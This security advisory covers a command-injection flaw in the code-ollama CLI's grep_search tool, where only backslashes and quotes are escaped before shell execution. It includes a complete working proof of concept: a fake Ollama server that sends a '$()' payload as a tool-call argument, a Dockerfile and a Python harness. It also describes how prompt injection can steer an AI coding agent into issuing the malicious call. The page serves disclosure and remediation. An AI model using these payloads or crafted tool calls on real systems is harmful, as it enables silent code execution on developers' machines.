GHSA-456v-xq2p-r4cjHigh· 7.8▾ Twilightcode-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.9 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grep_search is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).
Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66
const escapedPattern = searchPattern
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
const { stdout } = await execShell(
`rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);
Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style ` substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified child_process.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.
Full data-flow path (source → sink)
| Step | Location | Action |
|---|---|---|
| 1 | src/utils/ollama.ts:102-103 | External Ollama chat stream delivers chunk.message.tool_calls to the CLI |
| 2 | src/cli.ts:147-148 | Each toolCall is forwarded to tools.executeToolCall() |
| 3 | src/utils/tools/dispatcher.ts:300-306 | Dispatcher normalizes the call and routes it |
| 4 | src/utils/tools/dispatcher.ts:392-393 | stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch() |
| 5 | src/utils/tools/filesystem/grep.ts:58-63 | Incomplete sanitization: only \ and " are escaped (root cause) |
| 6 | src/utils/tools/filesystem/grep.ts:65 | Shell command string assembled and handed to execShell() (sink) |
| 7 | src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 | exec() (child_process.exec) executes the string via /bin/sh |
Approval-bypass amplifier
grep_search is listed in READ_TOOL_NAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.
Prerequisites
code-ollama v0.36.0 installed (e.g., npm install --global [email protected] or built from source via the Dockerfile below).ripgrep (rg) available in PATH (the vulnerable code path requires it).Step 1 — Build the self-contained Docker image (recommended)
# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama
The container automatically runs poc.py as CMD. Successful exploitation prints:
[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'
Step 2 — Manual reproduction (bare-metal)
# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading
_req = 0
_lock = threading.Lock()
class H(BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b"Ollama is running")
def do_POST(self):
global _req
l = int(self.headers.get("Content-Length", 0))
self.rfile.read(l)
with _lock:
_req += 1; n = _req
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if n == 1:
chunk = {"model":"fake","message":{"role":"assistant","content":"",
"tool_calls":[{"function":{"name":"grep_search",
"arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
"done":True,"done_reason":"stop"}
else:
chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
"done":True,"done_reason":"stop"}
self.wfile.write((json.dumps(chunk)+"\n").encode())
self.wfile.flush()
HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &
# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence # expected: uid=... gid=... groups=...
Explanation of the payload
The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
is executed by /bin/sh via child_process.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.
Remediation
Replace the shell-string construction with an argument-vector call to avoid the shell entirely:
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };
- const escapedPattern = searchPattern
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
- const escapedDirPath = dirPath
- .replace(/\\/g, '\\\\')
- .replace(/"/g, '\\"');
-
- const { stdout } = await execShell(
- `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
- );
+ const { stdout } = await execFile(
+ 'rg',
+ ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+ RG_EXEC_OPTIONS,
+ );
This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grep_search tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMA_HOST connection — can execute arbitrary commands as the OS user running code-ollama.
Impact scope:
The approval-bypass via READ_TOOL_NAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.
Dockerfile# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
# docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
# docker run --rm vuln001-code-ollama
FROM node:24-slim
# ripgrep — required by grepSearch() in the vulnerable code path
# python3 — runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
ripgrep \
python3 \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# ── Install Node dependencies ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# Install ALL deps (devDeps needed for vite build / tsx fallback)
RUN npm ci
# ── Copy source and build ──────────────────────────────────────────────────────
COPY repo/ ./
# Produces /app/dist/cli.js — the bundled CLI entrypoint
RUN npm run build
# ── Runtime setup ─────────────────────────────────────────────────────────────
# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race
RUN mkdir -p /root/.code-ollama /workspace
COPY vuln-001/poc.py /poc.py
WORKDIR /workspace
CMD ["python3", "/poc.py"]
poc.py#!/usr/bin/env python3
"""
Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78)
Repository : ai-action/code-ollama v0.36.0
Sink : src/utils/tools/filesystem/grep.ts:65
execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
Attack path: malicious Ollama server -> tool_call.arguments.pattern
-> grepSearch() -> execShell() -> child_process.exec()
Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized.
This PoC demonstrates that a rogue Ollama server can inject arbitrary shell
commands that execute as the local user running code-ollama.
Usage (inside Docker, called automatically by CMD):
python3 /poc.py
Expected outcome:
/tmp/poc-evidence is created with content matching INJECTED_CMD output.
"""
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434
# The marker file written by the injected command — used as exploitation proof
MARKER_FILE = "/tmp/poc-evidence"
# Payload: $() command substitution that is NOT escaped by code-ollama's
# sanitization (only \\ and " are escaped, leaving $() intact).
# Writes output of `id` to MARKER_FILE to capture the running UID/GID.
INJECTED_CMD = f"$(id>{MARKER_FILE})"
# Path argument for grep_search (must be a valid non-empty string)
TARGET_PATH = "/workspace"
# Tracks how many POST requests the fake server has received
_request_count = 0
_request_lock = threading.Lock()
# ---------------------------------------------------------------------------
# Fake Ollama HTTP server
# ---------------------------------------------------------------------------
class FakeOllamaHandler(BaseHTTPRequestHandler):
"""Minimal Ollama-compatible HTTP server for the PoC.
First POST /api/chat -> returns a grep_search tool_call carrying the
injected pattern.
Subsequent POSTs -> return a plain done response to terminate the
code-ollama tool-loop.
"""
def log_message(self, fmt, *args): # suppress default request logging
pass
# ------------------------------------------------------------------
# GET — health-check (code-ollama / ollama-npm may call GET /)
# ------------------------------------------------------------------
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"Ollama is running")
# ------------------------------------------------------------------
# POST — chat streaming endpoint
# ------------------------------------------------------------------
def do_POST(self):
global _request_count
# Consume request body to avoid broken-pipe on the client side
content_length = int(self.headers.get("Content-Length", 0))
_ = self.rfile.read(content_length)
with _request_lock:
_request_count += 1
current_request = _request_count
self.send_response(200)
self.send_header("Content-Type", "application/x-ndjson")
self.end_headers()
if current_request == 1:
# ---------------------------------------------------------------
# First request: inject malicious grep_search tool call
# The `arguments` object is passed verbatim through the ollama-npm
# library and reaches grepSearch(pattern, path) in grep.ts.
# ---------------------------------------------------------------
print(f"[fake-ollama] Request #{current_request}: "
f"sending malicious grep_search tool_call")
sys.stdout.flush()
chunk = {
"model": "fake",
"message": {
"role": "assistant",
"content": "",
"tool_calls": [{
"function": {
"name": "grep_search",
# pattern and path are the two required string args
# validated by validateArgs() in dispatcher.ts
"arguments": {
"pattern": INJECTED_CMD,
"path": TARGET_PATH,
},
}
}],
},
"done": True,
"done_reason": "stop",
}
else:
# ---------------------------------------------------------------
# Subsequent requests: plain text to terminate the tool loop.
# No tool_calls -> nextMessages stays null -> processRunStream
# returns after checking hasUncalledToolIntent (no match on
# "Done.") so the CLI exits cleanly.
# ---------------------------------------------------------------
print(f"[fake-ollama] Request #{current_request}: "
"sending done/stop response")
sys.stdout.flush()
chunk = {
"model": "fake",
"message": {
"role": "assistant",
"content": "Done.",
},
"done": True,
"done_reason": "stop",
}
self.wfile.write((json.dumps(chunk) + "\n").encode())
self.wfile.flush()
def start_fake_server():
"""Start the fake Ollama server in a daemon thread."""
server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
# ---------------------------------------------------------------------------
# Main orchestration
# ---------------------------------------------------------------------------
def main():
print("=" * 65)
print("VULN-001: grep_search Command Injection PoC (CWE-78)")
print("Target : ai-action/code-ollama v0.36.0")
print("Sink : src/utils/tools/filesystem/grep.ts:65")
print("=" * 65)
print()
print(f"[*] Payload : {INJECTED_CMD}")
print(f"[*] Marker : {MARKER_FILE}")
print()
# Clean up any leftover marker from a previous run
if os.path.exists(MARKER_FILE):
os.unlink(MARKER_FILE)
print(f"[*] Removed stale marker file: {MARKER_FILE}")
# -----------------------------------------------------------------------
# 1. Start the fake Ollama server
# -----------------------------------------------------------------------
print(f"[*] Starting fake Ollama server on "
f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...")
start_fake_server()
time.sleep(0.4) # give the server socket time to bind
# -----------------------------------------------------------------------
# 2. Run code-ollama with OLLAMA_HOST pointing to the fake server
# --trust skips the interactive directory-trust prompt (src/cli.ts:214)
# -----------------------------------------------------------------------
env = os.environ.copy()
env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"
# Use the compiled CLI bundle produced by `npm run build` in the Dockerfile
cmd = [
"node", "/app/dist/cli.js",
"run", "--trust", "fake", "search the code",
]
print(f"[*] Executing: {' '.join(cmd)}")
print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
print()
try:
result = subprocess.run(
cmd,
env=env,
stdin=subprocess.DEVNULL, # no TTY / interactive input needed
capture_output=True,
text=True,
timeout=60,
cwd="/workspace",
)
except subprocess.TimeoutExpired:
print("[-] code-ollama subprocess timed out after 60 s")
sys.exit(1)
print("--- code-ollama stdout ---")
print(result.stdout[:3000] if result.stdout else "(empty)")
print("--- code-ollama stderr ---")
print(result.stderr[:3000] if result.stderr else "(empty)")
print(f"--- exit code: {result.returncode} ---")
print()
# -----------------------------------------------------------------------
# 3. Verify exploitation: check for the marker file
# -----------------------------------------------------------------------
if os.path.exists(MARKER_FILE):
evidence = open(MARKER_FILE).read().strip()
print("[+] ============================================================")
print("[+] EXPLOITATION CONFIRMED")
print("[+] ============================================================")
print(f"[+] Marker file : {MARKER_FILE}")
print(f"[+] Contents : {evidence!r}")
print("[+] Explanation : The $() command substitution inside the")
print("[+] grep_search pattern was NOT escaped by code-ollama's")
print("[+] sanitizer (grep.ts:58-63 only strips \\ and \").")
print("[+] execShell() passed the raw string to child_process.exec()")
print("[+] which ran it through /bin/sh, executing the injected")
print("[+] command as the current user.")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] ============================================================")
print("[-] EXPLOITATION FAILED")
print(f"[-] Expected marker file NOT found: {MARKER_FILE}")
print("[-] Possible causes:")
print("[-] - ollama-npm parsed tool_call.arguments differently")
print("[-] - The pattern was sanitized before reaching execShell()")
print("[-] - ripgrep is not installed so the fallback path was taken")
print("[-] - The shell used does not support $() substitution")
print("[-] ============================================================")
sys.exit(1)
if __name__ == "__main__":
main()
code-ollama <= 0.36.0Upgrade to a patched release:
code-ollama 0.36.1Connected by shared product, vendor, weakness, or advisory.
CVE-2025-9580Medium· 6.3A security vulnerability has been detected in LB-LINK BL-X26 1.2.8
CVE-2025-9579Medium· 6.3A weakness has been identified in LB-LINK BL-X26 1.2.8
CVE-2018-11138Critical· 9.8The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by anonymous users and can be abused to execute arbitrary commands on the system.
CVE-2020-3167High· 7.8A vulnerability in the CLI of Cisco FXOS Software and Cisco UCS Manager Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system (OS)
CVE-2019-1709Medium· 6.0A vulnerability in the CLI of Cisco Firepower Threat Defense (FTD) Software could allow an authenticated, local attacker to perform a command injection attack
CVE-2024-51378Critical· 10.0getresetstatus in dns/views.py and ftp/views.py in CyberPanel (aka Cyber Panel) before 1c0c6cb allows remote attackers to bypass authentication and execute arbitrary commands via /dns/getresetstatus or /ftp/getresetstatus by bypassing se…